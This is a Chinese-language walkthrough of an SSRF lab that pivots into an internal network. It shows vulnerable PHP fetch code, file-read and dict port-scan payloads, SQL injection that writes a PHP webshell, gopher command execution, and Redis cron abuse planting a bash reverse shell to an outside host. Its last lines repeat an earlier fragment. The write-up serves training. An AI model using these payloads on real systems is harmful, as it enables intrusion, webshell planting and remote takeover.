欢迎交流
SSRF打穿内网
靶场拓扑图
靶场搭建
docker:https://github.com/Duoduo-chino
SSRF
概念
服务器端请求伪造
一般SSRF目标是外网无法访问的内部系统,形成原因一般是因为服务端提供了从其他服务器应用提供的应用获取数据的功能且没有多对目标地址做过滤与限制
例如:攻击者操控服务端从指定URL地址获取网页文本内容,加载指定地址的图片,利用的是服务端的请求伪造。
SSRF利用存在缺陷的WEB应用作为代理攻击远程和本地的服务器
主要攻击:
- 利用file协议读取本地文件
- 对外网、服务器所在内网、本地进行端口扫描,获取一些服务的banner信息
- 对内网WEB应用进行指纹识别,主要是使用HTTP GET请求就可以实现的攻击(比如struts2、SQli等),识别企业内部资产信息
漏洞相关函数
file_get_contents()
<?php
$url = $_GET['url'];;
echo file_get_contents($url);
?>
**file_get_contents()**函数从用户指定的url获取内容,然后指定一个文件名进行保存,并展示给用户。file_put_content函数把一个字符串写入文件中。
fsockopen()
<?php
function GetFile($host,$port,$link) {
$fp = fsockopen($host, intval($port), $errno, $errstr, 30);
if (!$fp) {
echo "$errstr (error number $errno) \n";
} else {
$out = "GET $link HTTP/1.1\r\n";
$out .= "Host: $host\r\n";
$out .= "Connection: Close\r\n\r\n";
$out .= "\r\n";
fwrite($fp, $out);
$contents='';
while (!feof($fp)) {
$contents.= fgets($fp, 1024);
}
fclose($fp);
return $contents;
}
}
?>
**fsockopen()**函数实现对用户指定url数据的获取,该函数使用socket(端口)跟服务器建立tcp连接,传输数据。
curl_exec()
<?php
if (isset($_POST['url'])){
$link = $_POST['url'];
$curlobj = curl_init();// 创建新的 cURL 资源
curl_setopt($curlobj, CURLOPT_POST, 0);
curl_setopt($curlobj,CURLOPT_URL,$link);
curl_setopt($curlobj, CURLOPT_RETURNTRANSFER, 1);// 设置 URL 和相应的选项
$result=curl_exec($curlobj);// 抓取 URL 并把它传递给浏览器
curl_close($curlobj);// 关闭 cURL 资源,并且释放系统资源
$filename = './curled/'.rand().'.txt';
file_put_contents($filename, $result);
echo $result;
}
?>
**curl_exec()**函数用于执行指定的cURL会话
1.一般情况下PHP不会开启fopen的gopher wrapper 2.file_get_contents的gopher协议不能URL编码 3.file_get_contents关于Gopher的302跳转会出现bug,导致利用失败 4.curl/libcurl 7.43 上gopher协议存在bug(%00截断) 经测试7.49 可用 5.curl_exec() //默认不跟踪跳转, 6.file_get_contents() // file_get_contents支持php://input协议
利用协议
- file:在有回显的情况下,利用 file 协议可以读取任意内容
- dict:泄露安装软件版本信息,查看端口,操作内网redis服务等
- gopher:gopher支持发出GET、POST请求:可以先截获get请求包和post请求包,再构造成符合gopher协议的请求。gopher协议是ssrf利用中一个最强大的协议(俗称万能协议)。可用于反弹shell
- http/s:探测内网主机存活
Takit用redis扫
漏洞测试
输入快照的网站
file协议进行测试,file:///etc/passwd
很显然这里存在SSRF漏洞
信息收集
为进一步内网渗透,尝试读取主机IP文件,file:///etc/hosts
可以看到内网IP是172.72.23.21,确定了内网网段,下一步搜集内网主机
dict协议探测内网在线主机及开放端口
1-255、常见端口
需要字典后台私信即可
从响应报文可以分析到内网资产
172.72.23.21 - 80
172.72.23.22 - 80
172.72.23.23 - 80
172.72.23.24 - 80
172.72.23.25 - 80
172.72.23.26 - 8080
172.72.23.27 - 6379
http协议,好多都是80,8080,进一步使用http协议查看
正常应该是攻破一台,然后使用VPN连接内网,进一步内网渗透
0x01 代码执行
http协议结合burp目录扫描,发现存在phpinfo.php与shell.php
这里注意的是url中,burp会进行一次解码,所以payload要进行二次编码
0x02 SQL注入
简单的联合注入
url=http://172.72.23.23/?id=-1'/**/union/**/select/**/1,2,3,group_concat(content)/**/from/**/flag_is_here%2523
尝试sql进行写入文件
url=http://172.72.23.23/?id=1'%2520union%2520select%25201,2,3,'<?php%2520system($_GET[1]);?>'%2520INTO%2520DUMPFILE%2520'/var/www/html/cmd.php'%2523
执行
0x03 命令执行
这个是post请求,这里我们用到gopher协议
,格式如下
gopher://<host>:<port>/<gopher-path>_<TCP数据流>
先将IP=界面抓包
删除Accept-Encoding: gzip, deflate这行
两次url转换
再到url=界面抓包修改
0x04 XML实体注入
原理和gopher协议相同,半天找不出错误点在哪,后期再补吧
0x05 Redis
-
向Web服务器中写入WebShell
-
写SSH Key
-
写定时任务反弹shell
利用dict协议攻击未授权redis服务
dict://x.x.x.x:6379/<Redis 命令>
dict://172.72.23.27:6379/info
可见是存在未授权的
# 清空 key
dict://172.72.23.27:6379/flushall
# 设置要操作的路径为定时任务目录
dict://172.72.23.27:6379/config set dir /var/spool/cron/
# 在定时任务目录下创建 root 的定时任务文件
dict://172.72.23.27:6379/config set dbfilename root
# 写入 Bash 反弹 shell 的 payload
dict://172.72.23.27:6379/set x "\n* * * * * /bin/bash -i >%26 /dev/tcp/x.x.x.x/2333 0>%261\n"
# 保存上述操作
dict://172.72.23.27:6379/save
以为需要在bp进行一次url编码呢,正准备搞结果弹出来了,看/etc/hosts是27的机器,逐步按照以上步骤,用bp发包防止浏览器给url打乱编码
ot
写入 Bash 反弹 shell 的 payload
dict://172.72.23.27:6379/set x “\n* * * * * /bin/bash -i >%26 /dev/tcp/x.x.x.x/2333 0>%261\n”
保存上述操作
dict://172.72.23.27:6379/save
以为需要在bp进行一次url编码呢,正准备搞结果弹出来了,看/etc/hosts是27的机器,逐步按照以上步骤,用bp发包防止浏览器给url打乱编码
![image-20240820080310109](https://img-blog.csdnimg.cn/img_convert/e7bd922728884ea702af9dd9e3035433.png)